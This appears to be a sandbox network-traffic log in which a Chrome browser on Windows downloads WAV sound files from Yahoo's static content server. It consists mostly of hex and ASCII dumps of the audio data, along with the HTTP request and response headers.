2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 52 49 46 46 50 4d 01 00 57 41 56 45 66 6d 74 20 10 00 00 00 03 00 02 00 44 ac 00 00 20 62 05 00 08 00 20 00 64 61 74 61 58 17 01 00 54 27 25 ba 77 77 6a bb 34 af 21 ba 90 1e 63 bb f5 39 1c ba c9 bb 5a bb f1 c1 14 ba 47 5d 51 bb cf 4c 0b ba c5 0f 47 bb d0 07 00 ba 67 e1 3b bb ee 9a e6 b9 7d dd 2f bb 2d 07 cb b9 ed 0d 23 bb 53 2b ae b9 08 7e 15 bb a6 e9 90 b9 1e 39 07 bb 99 1b 68 b9 cc a8 f0 ba f3 82 30 b9 00 cd d1 ba 05 aa f7 b8 c2 11 b2 ba 14 33 95 b8 d0 ac 91 ba 61 58 e9 b7 cb a7 61 ba 60 93 44 37 e4 62 1f ba f6 c1 47 38 34 b4 b9 b9 95 95 a7 38 40 5d d2 b8 3f 65 e4 38 c3 6c 20 39 7e 82 0d 39 be 43 d4 39 cc 58 26 39 71 a6 2b 3a 8e 6a 3d 39 ff 75 6c 3a aa b0 53 39 77 34 96 3a 48 51 6a 39 af 9d b5 3a 48 39 81 39 b6 54 d4 3a 56 9d 8e 39 f3 31 f2 3a 41 d1 9d Data Ascii: RIFFPMWAVEfmt D b dataXT'%wwj4!c9ZG]QLGg;}/-#S+~9h03aXa`D7bG848@]?e8l 9~9C9X&9q+:j=9ul:S9w4:HQj9:H99T:V91:A
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 86 43 5c 38 5a 97 1a 3a 2e 81 bd 37 df 71 b4 39 a5 79 ce b6 d3 d2 cb 38 05 14 13 b8 af 98 1d b9 fc a5 88 b8 e1 32 d0 b9 5a e2 cc b8 ea 55 28 ba 75 18 0c b9 b7 d7 67 ba f8 b9 35 b9 4e 30 93 ba 99 99 63 b9 31 d9 b1 ba 6b ae 8a b9 0e cd cf ba a4 32 a5 b9 72 f2 ec ba 65 c6 c0 b9 f4 97 04 bb ea e1 dc b9 93 34 12 bb dd c4 f8 b9 89 3f 1f bb 66 f9 09 ba 71 a6 2b bb 00 e1 16 ba 43 51 37 bb 54 e6 22 ba 31 2c 42 bb 28 cb 2d ba 31 1f 4c bb 43 51 37 ba df 17 55 bb 0b 51 3f ba 19 08 5d bb 97 97 45 ba 35 ea 63 bb a6 f7 49 ba 22 b7 69 bb 3e 60 4c ba 0b 6c 6e bb b9 cb 4c ba 86 07 72 bb 67 45 4b ba fe 8a 74 bb d8 05 48 ba 9d f3 75 bb 47 4b 43 ba 3a 44 76 bb 8e 6a 3d ba d2 7c 75 bb 7f c9 36 ba fd 9b 73 bb 46 c8 2f ba 62 a7 70 bb bd bb 28 ba 02 9f 6c bb 6d ed 21 ba c3 8c 67 Data Ascii: C\8Z:.7q9y82ZU(ug5N0c1k2re4?fq+CQ7T"1,B(-1LCQ7UQ?]E5cI"i>`LlnLrgEKtHuGKC:Dvj=\|u6sF/bp(lm!g
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: cb dd eb 3c 3a 54 08 3d 2d 4b 13 3d ba 53 17 3d dd 93 22 3d ca c7 0d 3d a4 41 19 3d 38 4f ce 3c 01 93 e5 3c 85 f4 47 3c 12 d9 76 3c 5e aa 83 3b 21 bf e1 3b 0d 67 a2 3b b7 34 00 3c da 0e 28 3c 47 ce 56 3c e6 46 48 3c 45 7f 76 3c 0e a2 e4 3b 73 b8 1f 3c 16 b6 8e bb 6e 57 d8 ba e8 ac 87 bc a3 5a 64 bc c8 c7 c1 bc 4a 07 ad bc 27 2a bf bc 33 3c ab bc 25 c8 8d bc 5b 80 75 bc 79 7f 21 bc 6a cf fa bb 2f cd fe bb f0 f5 ba bb f3 53 82 bc 91 1f 65 bc d3 97 fd bc fe 19 ef bc 8d 7e 39 bd 03 e8 32 bd aa d0 63 bd 73 e4 5d bd 7a cb 7f bd 79 8a 7a bd 06 bd 86 bd 41 72 84 bd 63 2e 8a bd c1 39 88 bd ac 2d 94 bd ad 90 92 bd 50 19 aa bd 2b d6 a8 bd b8 24 c7 bd 51 3d c6 bd c9 c5 e0 bd f9 3a e0 bd 83 23 eb bd cd f4 ea bd 37 0a e2 bd 96 36 e2 bd 18 bd d1 bd a3 44 d2 bd 79 f5 cb Data Ascii: <:T=-K=S="==A=8O<<G<v<^;!;g;4<(<GV<FH<Ev<;s<nWZdJ'*3<%[uy!j/Se~92cs]zyzArc.9-P+$Q=:#76Dy
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 47 8d 37 bd 94 56 3d bd bd 2e 1f bd 9a 61 24 bd 89 b9 01 bd f3 4f 06 bd 8b f4 e0 bc 86 e0 e8 bc aa 28 e2 bc f7 cd e8 bc 71 4c 05 bd 74 f9 07 bd aa 51 25 bd 79 56 27 bd e8 cf 3e bd 72 28 40 bd 82 65 47 bd ea 0c 48 bd b5 fc 45 bd 5c ef 45 bd 51 b1 48 bd 89 ed 47 bd f1 7b 5b bd 15 02 5a bd e0 d4 80 bd 39 7b 7f bd 70 10 98 bd 32 9f 96 bd 35 f4 aa bd 2a 29 a9 bd db f9 b4 bd 46 d5 b2 bd 87 d5 b4 bd 8f 58 b2 bd af 5c ab bd 72 89 a8 bd 93 56 a0 bd 0c 31 9d bd d7 2b a0 bd 4c ba 9c bd f8 74 af bd c0 be ab bd c1 17 c6 bd aa 23 c2 bd 05 72 d7 bd a0 45 d3 bd 91 dd db bd 8e 7d d7 bd f6 85 d5 bd 47 f7 d0 bd b3 c2 ce bd 3a 0b ca bd 4e db d0 bd 11 02 cc bd d3 e9 dc bd ce f5 d7 bd 8f 20 ee bd 1f 18 e9 bd 8e e0 fc bd 2e c9 f7 bd f9 1a 00 be 0d 14 fb bd e6 b9 f5 bd 82 91 f0 Data Ascii: G7V=.a$O(qLtQ%yV'>r(@eGHE\EQHG{[Z9{p25*)FX\rV1+Lt#rE}G:N .
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: da dd 79 bd 6c 0e 84 bd dc e4 87 bd 5f 94 89 bd 12 9e 8d bd e3 c4 86 bd c2 fb 8a bd 21 14 7d bd 4f e8 82 bd 21 a2 6b bd c4 a2 74 bd 7e c4 62 bd ff ff 6b bd c8 64 68 bd 05 d3 71 bd 32 d8 79 bd b2 b8 81 bd 01 22 87 bd ed ff 8b bd 58 65 8e bd 20 50 93 bd 48 ae 8f bd 48 a1 94 bd 3e a4 8c bd 00 9b 91 bd ee ed 8d bd d2 e4 92 bd 43 6b 9b bd 3d 5f a0 bd 77 12 b2 bd c5 ff b6 bd 45 0e c7 bd 6b ef cb bd 6f 58 d2 bd b6 26 d7 bd c5 2c d2 bd 04 e1 d6 bd 22 a2 c9 bd 52 35 ce bd 49 21 c0 bd 52 8d c4 bd 8f 4a bd bd 66 8a c1 bd 80 92 c2 bd 76 a1 c6 bd b0 f3 ca bd bb cc ce bd c5 9d cf bd 76 3b d3 bd c7 05 cc bd 54 62 cf bd 7b 19 c1 bd 7f 2f c4 bd 53 09 b5 bd 79 d4 b7 bd 9b 3d ad bd 88 ba af bd 2d 49 aa bd 24 75 ac bd ea c9 aa bd b4 a2 ac bd a3 2f ad bd 88 b3 ae bd a8 8e ad Data Ascii: yl_!}O!kt~bkdhq2y"Xe PHH>Ck=_wEkoX&,"R5I!RJfvv;Tb{/Sy=-I$u/
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: ab a7 5c bd 55 ce 54 bd af 82 67 bd 8e 0e 60 bd 9e fb 7d bd a0 f8 76 bd 1f 9d 89 bd d5 58 86 bd bc 28 8d bd 10 25 8a bd 0f 5a 88 bd a6 99 85 bd 8b 04 80 bd 4c 13 7b bd 5b c2 76 bd a4 5c 72 bd cc aa 7b bd 7c d9 77 bd 49 51 84 bd 1e b4 82 bd a1 6e 89 bd 35 1d 88 bd 39 24 8a bd 3d 1e 89 bd 07 62 86 bd ff a6 85 bd 6c f1 80 bd f3 80 80 bd 32 2a 7e bd 11 df 7d bd ca 95 84 bd 9e bb 84 bd 39 eb 8f bd c2 5c 90 bd 74 e2 9b bd 35 9f 9c bd bf 8b a3 bd 7b 92 a4 bd 65 47 a4 bd 58 96 a5 bd 49 da 9e bd 80 6f a0 bd 11 d5 96 bd 02 af 98 bd ab 98 8f bd f6 b5 91 bd 37 fd 8a bd b5 5c 8d bd 46 ec 89 bd d2 8c 8c bd 9b 81 8a bd 9d 61 8d bd a4 f0 86 bd 98 0d 8a bd d9 e1 75 bd c0 8e 7c bd 1f 45 52 bd 97 5d 59 bd 03 2e 30 bd fa aa 37 bd 16 99 18 bd 09 73 20 bd 3f e2 0c bd c9 10 15 Data Ascii: \UTg`}vX(%ZL{[v\r{\|wIQn59$=bl2*~}9\t5{eGXIo7\Fau\|ER]Y.07s ?
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: f8 aa 34 bd 95 f9 29 bd 5b 58 26 bd 07 77 26 bd d3 4b 22 bd 1b 88 2f bd 59 d7 2a bd 10 a0 3f bd ca 6e 3a bd 74 93 4e bd 3c e7 48 bd 64 fd 56 bd 69 dc 50 bd 2c 08 57 bd 6a 79 50 bd 1c 0d 51 bd e2 18 4a bd 68 7b 4b bd 14 2b 44 bd 8c 23 4b bd a3 81 43 bd 6d 2e 4e bd b7 45 46 bd 45 7c 4f bd ec 56 47 bd a7 d5 4b bd d6 7d 43 bd 41 fa 41 bd 38 7a 39 bd e6 62 32 bd e7 c4 29 bd bb 49 21 bd a5 98 18 bd 0e bd 15 bd 5d 04 0d bd e7 bc 14 bd 75 08 0c bd 78 b7 1c bd 67 12 14 bd 4c d2 24 bd 3f 46 1c bd 1c 9b 22 bd 95 2f 1a bd 66 10 13 bd da cb 0a bd d7 81 f9 bc 6e 53 e9 bc 63 79 d1 bc 47 b3 c1 bc 43 83 b8 bc c5 33 a9 bc 20 c8 ae bc 37 fd 9f bc f4 59 a9 bc b5 20 9b bc df 95 96 bc c7 f9 88 bc cb 3a 58 bc 7c 52 3e bc d1 12 bf bb 09 12 8e bb c3 7b e8 3a 77 31 50 3b 30 bc ff Data Ascii: 4)[X&w&K"/Y*?n:tN<HdViP,WjyPQJh{K+D#KCm.NEFE\|OVGK}CAA8z9b2)I!]uxgL$?F"/fnScyGC3 7Y :X\|R>{:w1P;0
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 37 c0 fa bc 63 1b 05 bd aa 69 e4 bc 0f a3 f3 bc 7d 89 ca bc 0c 77 d9 bc 9d c6 b8 bc 04 5a c7 bc ed e4 b5 bc 8f 10 c4 bc 48 84 c0 bc 01 3a ce bc 2c 1c d3 bc 50 4d e0 bc d6 55 e5 bc d7 f2 f1 bc 10 9d ec bc 7d 95 f8 bc 06 6d e4 bc 6d b0 ef bc f3 de d4 bc c8 5d df bc 91 b6 ca bc 08 63 d4 bc 4a 7d ca bc 4f 4a d3 bc aa 53 cd bc 56 34 d5 bc 6a 86 c6 bc f2 6c cd bc 45 95 ac bc 0c 74 b2 bc 7d 8e 81 bc ac 59 86 bc 43 9a 24 bc 87 f9 2b bc b8 a7 b0 bb ac e5 ba bb 3a b3 29 bb 4e 28 35 bb f9 15 b3 ba f0 0b b8 ba ba 53 f8 b9 e2 ed c4 b9 26 1d e3 3a 8f c9 00 3b 69 de c1 3b 10 d2 cd 3b 0c 4d 36 3c 39 65 3e 3c d7 6b 81 3c 9f 7e 86 3c 54 77 9b 3c 13 87 a1 3c 04 18 a9 3c 4d 1a b0 3c 68 36 b0 3c 72 20 b8 3c a7 ca b9 3c b9 92 c2 3c 89 4b cd 3c e9 e7 d6 3c 23 0a ed 3c ec 70 f7 Data Ascii: 7ci}wZH:,PMU}mm]cJ}OJSV4jlEt}YC$+:)N(5S&:;i;;M6<9e><k<~<Tw<<<M<h6<r <<<K<<#<p
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 79 87 0c bc 20 6a 19 bc 2a d4 1a bc 57 b8 16 bc 32 1a 1a bc 71 fe ed bb 06 99 f8 bb ca 80 7f bb b2 17 8e bb ac 9f 20 ba e6 3c 98 ba 42 ec 98 3a 07 8e 05 3a ba 5e 9c 3a da 85 e1 39 2c 01 a4 39 5e cd 10 ba c3 6c a0 b9 c5 69 a6 ba c6 74 e5 38 3d ae 78 ba b5 94 c7 3a 8d 2d c4 39 f4 69 53 3b 11 76 02 3b 51 c1 91 3b 56 1c 4d 3b 59 6b a0 3b ca 3a 65 3b 0b 1c a4 3b f2 b2 67 3b 45 8f bf 3b a1 04 8d 3b f9 7c 08 3c ce 5f dc 3b c3 05 4b 3c 59 cf 2f 3c 88 22 8c 3c d4 45 7c 3c fb 71 b0 3c 92 1e a2 3c 75 a7 cd 3c 3a 11 bf 3c bb e9 e1 3c 2e 22 d3 3c 93 6a f0 3c 16 84 e1 3c 96 82 00 3d 8b 13 f2 3c 7d f6 0c 3d 2f 82 05 3d 5f 27 1d 3d ea c1 15 3d b9 7a 2d 3d d7 2d 26 3d 1e 51 39 3d e9 25 32 3d 87 f4 3d 3d d6 f3 36 3d 49 ae 3c 3d af e0 35 3d 59 92 39 3d 7f 00 33 3d ea 52 38 Data Ascii: y j*W2q <B::^:9,9^lit8=x:-9iS;v;Q;VM;Yk;:e;;g;E;;\|<_;K<Y/<"<E\|<q<<u<:<<."<j<<=<}=/=_'==z-=-&=Q9=%2===6=I<=5=Y9=3=R8
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 18 7c 4f 3c 49 86 6b 3c 7d 98 3e 3c 74 ea 5a 3c 87 3a 2e 3c ca ae 4a 3c 22 e1 2b 3c fb 53 48 3c 7d 0d 40 3c 90 5b 5c 3c 6e 64 68 3c b8 35 82 3c 81 ad 8b 3c 82 7c 99 3c a3 15 9f 3c b3 9f ac 3c 69 71 ab 3c cb a6 b8 3c 11 c3 b2 3c fc 95 bf 3c 17 95 b9 3c b3 f9 c5 3c 89 be c3 3c 0e aa cf 3c 1b e6 d1 3c 57 4f dd 3c 25 a5 e1 3c 8c 82 ec 3c 34 72 ef 3c c3 ba f9 3c 82 3b f8 3c d6 f2 00 3d 3c 75 fb 3c e8 3b 02 3d 06 3e fd 3c 5b c8 02 3d da 3d 02 3d 73 0b 06 3d 7c 92 0a 3d 3e 01 0e 3d 3f 82 16 3d e5 8e 19 3d 7d dd 22 3d d8 84 25 3d 9a 79 2c 3d 37 b8 2e 3d 7f 01 32 3d ec d3 33 3d 10 ae 34 3d 62 11 36 3d f5 4b 37 3d 86 3d 38 3d 3a 6a 3c 3d 18 e8 3c 3d dd e1 44 3d 70 ea 44 3d a6 cf 4e 3d 9b 61 4e 3d 62 fb 55 3d c0 15 55 3d e0 d2 56 3d 09 75 55 3d 11 6b 51 3d 5f 95 4f Data Ascii: \|O<Ik<}><tZ<:.<J<"+<SH<}@<[\<ndh<5<<\|<<<iq<<<<<<<<<WO<%<<4r<<;<=<u<;=><[===s=\|=>=?==}"=%=y,=7.=2=3=4=b6=K7==8=:j<=<=D=pD=N=aN=bU=U=V=uU=kQ=_O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	49941	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	568	OUT	GET /pv/static/misc/voice-close-202105050733.wav HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Referer: https://www.yahoo.com/ Accept-Language: en-US,en;q=0.9 Range: bytes=0-
2024-04-27 22:41:59 UTC	914	IN	HTTP/1.1 206 Partial Content x-amz-id-2: 7Kd+cLCSwQ+b7G67q9Je72ArSj1VY5xGu6qEs0TqKikhEbxyfOwdamKBRR41/zsLfWKFSEBBBmHvQhtl+QZ/UA== x-amz-request-id: 12PABZPYC2CDBHCH Date: Sat, 27 Apr 2024 19:31:30 GMT Last-Modified: Wed, 05 May 2021 07:33:34 GMT ETag: "8f1c7f5187e8e78fdb31a5e6c688e803" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public Expires: Mon, 05 May 2031 07:33:32 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: binary/octet-stream Server: ATS Content-Length: 149336 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 11430 Content-Range: bytes 0-149335/149336 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 52 49 46 46 50 47 02 00 57 41 56 45 66 6d 74 20 10 00 00 00 03 00 02 00 44 ac 00 00 20 62 05 00 08 00 20 00 64 61 74 61 d0 14 02 00 1c 72 df 36 a7 3e f3 37 a2 ef 84 36 21 27 e0 37 f3 04 b5 35 8c f0 ca 37 42 55 c0 b5 ee 4f b4 37 ca 97 8a b6 46 45 9c 37 44 1a e5 b6 94 d0 82 37 55 64 1e b7 b9 4d 51 37 87 3b 4a b7 37 26 1a 37 b0 a8 74 b7 6a fd c5 36 e3 20 8e b7 a4 b4 29 36 6d ed a1 b7 ce e6 78 b5 ee 4f b4 b7 f2 3f 90 b6 65 48 c5 b7 85 b1 00 b7 d2 d6 d4 b7 07 d9 37 b7 35 fb e2 b7 7f 96 6d b7 8e b5 ef b7 f7 f4 90 b7 d8 50 fa b7 a4 b4 a9 b7 0c c1 01 b8 4c bf c1 b7 25 4a 05 b8 e6 aa d7 b7 39 1e 08 b8 75 2c ec b7 c5 e2 09 b8 f6 8e fe b7 48 3d 0a b8 b6 c3 07 b8 48 3d 0a b8 6a 30 0f b8 3e d3 08 b8 14 33 15 b8 ac 59 06 b8 b9 80 1a b8 16 2b 03 b8 55 64 1e b8 f1 d9 fd Data Ascii: RIFFPGWAVEfmt D b datar6>76!'757BUO7FE7D7UdMQ7;J7&7tj6 )6mxO?eH75mPL%J9u,H=H=j0>3Y+Ud
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 6a 82 83 bd 19 c2 83 bd 60 4e 87 bd 94 90 87 bd 6f c3 8e bd 68 0a 8f bd 8b 74 9b bd 4c c3 9b bd 98 69 a6 bd 32 bf a6 bd 61 17 a8 bd 93 6e a8 bd 8b 2f a2 bd 21 84 a2 bd ae 57 98 bd 68 a7 98 bd a0 7d 8a bd 48 c6 8a bd 16 c0 75 bd 4f 41 76 bd 6b 3a 5c bd d3 ae 5c bd 33 35 4c bd 5c a2 4c bd d4 31 46 bd 65 9d 46 bd e5 8a 47 bd 07 f9 47 bd ce 66 48 bd 53 d7 48 bd 0f 2f 47 bd d1 a0 47 bd 1b cd 4a bd c0 42 4b bd d9 0a 53 bd f2 86 53 bd 47 20 58 bd 0f a1 58 bd af 64 55 bd 8d e5 55 bd 8a ce 46 bd c8 48 47 bd bb 18 2c bd 5c 85 2c bd 1e 5e 12 bd 94 bd 12 bd be 2e 05 bd 04 88 05 bd 50 6c fe bc 9d 1a ff bc 6a e4 f5 bc 10 90 f6 bc 40 a5 f7 bc e7 53 f8 bc 41 e9 f9 bc 17 9b fa bc 19 ee e3 bc f9 94 e4 bc 90 5c b1 bc dd e7 b1 bc 5e ff 58 bc 9a c9 59 bc 85 a7 6b bb 7c 6d 6d Data Ascii: j`NohtLi2an/!Wh}HuOAvk:\\35L\L1FeFGGfHSH/GGJBKSSG XXdUUFHG,\,^.Plj@SA\^XYk\|mm
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 7e 2d 29 3d f6 fc 25 3d 47 5e 26 3d 84 95 23 3d 8f f3 23 3d 22 34 1f 3d d9 8d 1f 3d 9e 17 14 3d 33 69 14 3d 48 dc f5 3c 18 5f f6 3c d5 a3 a3 3c 72 f4 a3 3c bf 4b 0b 3c c5 7a 0b 3c c6 33 e3 ba 2e ea e4 ba 1f 5d 23 bc 5d e7 23 bc 15 7f 82 bc f6 e2 82 bc 85 66 a2 bc 6f df a2 bc b0 b8 bd bc d0 43 be bc 1a b8 d9 bc 6e 55 da bc aa 49 f1 bc 8e f6 f1 bc 55 50 05 bd e8 ae 05 bd 30 3d 17 bd d0 a6 17 bd b6 45 29 bd 35 ba 29 bd 90 aa 36 bd 5e 27 37 bd a2 4a 44 bd 91 cf 44 bd 53 61 55 bd 3f f0 55 bd 56 21 65 bd 5d b9 65 bd 9e bb 6d bd 99 58 6e bd 06 33 6b bd 69 ce 6b bd 54 bf 5d bd c2 52 5e bd 19 3d 4e bd 57 c7 4e bd a8 cd 46 bd 1f 53 47 bd 7e d0 49 bd 05 57 4a bd ff 3b 56 bd cd c8 56 bd 73 7e 6a bd db 15 6b bd 78 be 80 bd 3a 10 81 bd 7b 96 8b bd e5 ed 8b bd 0d 67 95 Data Ascii: ~-)=%=G^&=#=#="4===3i=H<_<<r<K<z<3.]#]#foCnUIUP0=E)5)6^'7JDDSaU?UV!e]emXn3kikT]R^=NWNFSG~IWJ;VVs~jkx:{g
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 77 eb c2 3c 5a 32 c3 3c b5 ae cd 3c 4e f9 cd 3c 40 d0 e2 3c 1a 25 e3 3c bb 6d 03 3d 87 a1 03 3d e2 54 1a 3d 0e 95 1a 3d 58 fc 32 3d dc 49 33 3d 48 32 4c 3d ad 8d 4c 3d 76 2b 60 3d fd 91 60 3d ae e5 67 3d 5d 50 68 3d 7b 1e 66 3d 1a 88 66 3d e9 e7 63 3d 63 50 64 3d 35 3b 66 3d 2f a5 66 3d 10 56 6d 3d 75 c4 6d 3d 29 fc 76 3d 92 70 77 3d 07 5f 7f 3d bd d8 7f 3d 7b 87 82 3d 53 c6 82 3d 03 53 84 3d 45 93 84 3d c1 02 84 3d 52 43 84 3d 76 6d 80 3d 7b ac 80 3d 71 3b 74 3d 79 b3 74 3d 4e 68 62 3d 69 d7 62 3d 77 37 4a 3d 1b 9a 4a 3d b8 aa 2d 3d 6c fe 2d 3d 3c c6 0f 3d 4b 0a 10 3d b8 ff e5 3c f6 69 e6 3c fe e2 bb 3c 60 38 bc 3c df 02 ad 3c c6 52 ad 3c 74 42 af 3c c7 96 af 3c ba 8c ae 3c e1 e3 ae 3c 37 19 a4 3c 89 6d a4 3c 07 7f 91 3c ec cb 91 3c bf 49 6e 3c 80 cb 6e Data Ascii: w<Z2<<N<@<%<m==T==X2=I3=H2L=L=v+`=`=g=]Ph={f=f=c=cPd=5;f=/f=Vm=um=)v=pw=_=={=S=S=E==RC=vm={=q;t=yt=Nhb=ib=w7J=J=-=l-=<=K=<i<<`8<<R<tB<<<<7<m<<<In<n
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: da 7d 3c bd 44 f3 31 bd d6 71 32 bd 39 04 2c bd d1 7e 2c bd 73 9c 28 bd 64 14 29 bd ad 24 25 bd ca 99 25 bd 1e c5 1e bd a2 35 1f bd c3 15 14 bd 35 7f 14 bd 82 2c 06 bd da 8c 06 bd ad 01 ec bc 54 ad ec bc 00 d5 c9 bc 8d 6a ca bc 04 32 af bc b7 b5 af bc 53 38 a4 bc d5 b2 a4 bc fb b2 a5 bc 5e 2b a6 bc 5e d0 aa bc 66 48 ab bc 1c c3 aa bc 22 38 ab bc 61 61 9c bc 18 cb 9c bc 5d 26 7c bc 6c d0 7c bc 88 c1 30 bc 72 3a 31 bc 1b 45 bc bb 29 cc bc bb a2 3e c0 39 2e c2 bf 39 3e b3 f6 3b 20 3d f7 3b dd aa 72 3c 0e 3a 73 3c 57 db b0 3c 95 45 b1 3c ac 3f e1 3c 52 c8 e1 3c ed 56 03 3d 46 a7 03 3d 73 21 10 3d 5e 7a 10 3d 1e 12 18 3d de 70 18 3d 3c 4f 1d 3d 24 b2 1d 3d d1 66 24 3d c3 ce 24 3d fe 43 31 3d 3f b4 31 3d d5 6b 42 3d b1 e6 42 3d 7e 0a 53 3d 84 8f 53 3d 8d e9 5e Data Ascii: }<D1q29,~,s(d)$%%55,Tj2S8^+^fH"8aa]&\|l\|0r:1E)>9.9>; =;r<:s<W<E<?<R<V=F=s!=^z==p=<O=$=f$=$=C1=?1=kB=B=~S=S=^
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: a6 65 a8 bc 43 d9 a8 bc d3 80 ca bc e1 04 cb bc 01 5b ea bc 15 ee ea bc 99 0d 05 bd a6 5e 05 bd bf 4e 15 bd 7d a7 15 bd 77 0e 26 bd 40 6f 26 bd 62 87 36 bd 09 f0 36 bd 26 e0 42 bd 5f 4e 43 bd 29 68 47 bd 87 d7 47 bd 71 ed 44 bd fc 59 45 bd 15 24 3e bd 68 8b 3e bd 71 cd 34 bd 0d 2e 35 bd 79 eb 2b bd cf 45 2c bd cc bd 27 bd af 14 28 bd 38 36 2a bd 5e 8d 2a bd 6f 10 32 bd 08 6b 32 bd 31 12 3c bd a7 71 3c bd 41 b4 44 bd de 17 45 bd 5a 07 4b bd e2 6d 4b bd 91 b0 50 bd c0 19 51 bd cb f9 55 bd 8a 65 56 bd 3b 27 59 bd 7b 94 59 bd a2 32 59 bd b4 9f 59 bd 4d 0e 56 bd 84 79 56 bd 20 b0 50 bd 56 18 51 bd 9b 43 4c bd 85 a9 4c bd 79 5c 4b bd 35 c2 4b bd 32 cb 4c bd 2b 32 4d bd f4 81 4e bd 9b ea 4e bd 41 96 4f bd 3c 00 50 bd 74 0b 4d bd d0 74 4d bd 81 6a 42 bd d4 ce 42 Data Ascii: eC[^N}w&@o&b66&B_NC)hGGqDYE$>h>q4.5y+E,'(86^o2k21<q<ADEZKmKPQUeV;'Y{Y2YYMVyV PVQCLLy\K5K2L+2MNNAO<PtMtMjBB
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 2f b7 4a 3d 65 c1 52 3d 87 3f 53 3d dc 92 5a 3d a6 16 5b 3d 39 2b 5f 3d a2 b2 5f 3d c2 50 60 3d c3 d9 60 3d e5 90 5e 3d b9 19 5f 3d 5a 5c 59 3d f8 e2 59 3d be 38 4f 3d 3b ba 4f 3d c5 d4 3e 3d 6b 4d 3f 3d 22 17 29 3d c3 83 29 3d 73 ec 11 3d 2d 4c 12 3d 5d 8e fa 3c 7a 36 fb 3c b8 42 d9 3c eb d7 d9 3c 1b 1e c0 3c cf a4 c0 3c 8d 5a ad 3c 1e d6 ad 3c 1e 0e 9c 3c 14 7f 9c 3c 38 d8 87 3c a1 3c 88 3c a4 2f 5f 3c 68 da 5f 3c c7 a3 25 3c d6 2a 26 3c 33 6a ca 3b b4 27 cb 3b 59 5a 21 3b 35 3b 22 3b 77 d4 0f ba 74 59 0e ba a6 e6 4a bb 09 f9 4a bb 93 83 b3 bb ec c3 b3 bb 63 c6 f4 bb d1 36 f5 bb e5 cf 0e bc 6f 19 0f bc a8 1a 16 bc 73 6e 16 bc dd 6f 16 bc 05 ca 16 bc f9 2e 1d bc 61 93 1d bc 8d 0a 37 bc 2c 84 37 bc a5 d0 67 bc ea 6c 68 bc bc 8a 96 bc 07 f0 96 bc f8 78 c0 Data Ascii: /J=eR=?S=Z=[=9+_=_=P`=`=^=_=Z\Y=Y=8O=;O=>=kM?=")=)=s=-L=]<z6<B<<<<Z<<<<8<<</_<h_<%<*&<3j;';YZ!;5;";wtYJJc6osno.a7,7glhx
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: b7 13 b8 bb f2 ee b7 bb 35 0b 9f bb b6 d9 9e bb 5a 46 5c bb 72 b0 5b bb 44 1f 7d ba 32 85 79 ba 8a 48 0c 3b 1f 99 0d 3b 14 45 bd 3b 98 2b be 3b 6a 6d 22 3c 07 04 23 3c d3 ac 6b 3c 9f 69 6c 3c c6 e1 9a 3c 17 53 9b 3c 6e 11 be 3c 6c 94 be 3c 7b c5 db 3c f8 56 dc 3c 8a 44 f1 3c 92 df f1 3c fb bd 00 3d ae 0e 01 3d 16 78 09 3d 52 cc 09 3d cf b9 14 3d e8 12 15 3d c7 50 22 3d 0f b0 22 3d c7 d8 30 3d b0 3e 31 3d 83 61 3e 3d 85 cd 3e 3d 53 3d 49 3d ee ad 49 3d fb 4b 50 3d e3 be 50 3d 3e ad 52 3d e2 1f 53 3d 06 74 50 3d bf e3 50 3d d4 09 4b 3d de 74 4b 3d f4 af 43 3d 3f 15 44 3d 1b d0 3a 3d f2 2e 3b 3d 6e 21 31 3d 61 79 31 3d 56 e4 27 3d a7 35 28 3d 7f 7c 20 3d 55 c8 20 3d a7 aa 1c 3d 39 f3 1c 3d af 32 1d 3d 8b 7a 1d 3d a2 de 1f 3d 33 27 20 3d 69 28 21 3d e3 70 21 Data Ascii: 5ZF\r[D}2yH;;E;+;jm"<#<k<il<<S<n<l<{<V<D<<==x=R===P"="=0=>1=a>=>=S=I=I=KP=P=>R=S=tP=P=K=tK=C=?D=:=.;=n!1=ay1=V'=5(=\| =U ==9=2=z==3' =i(!=p!
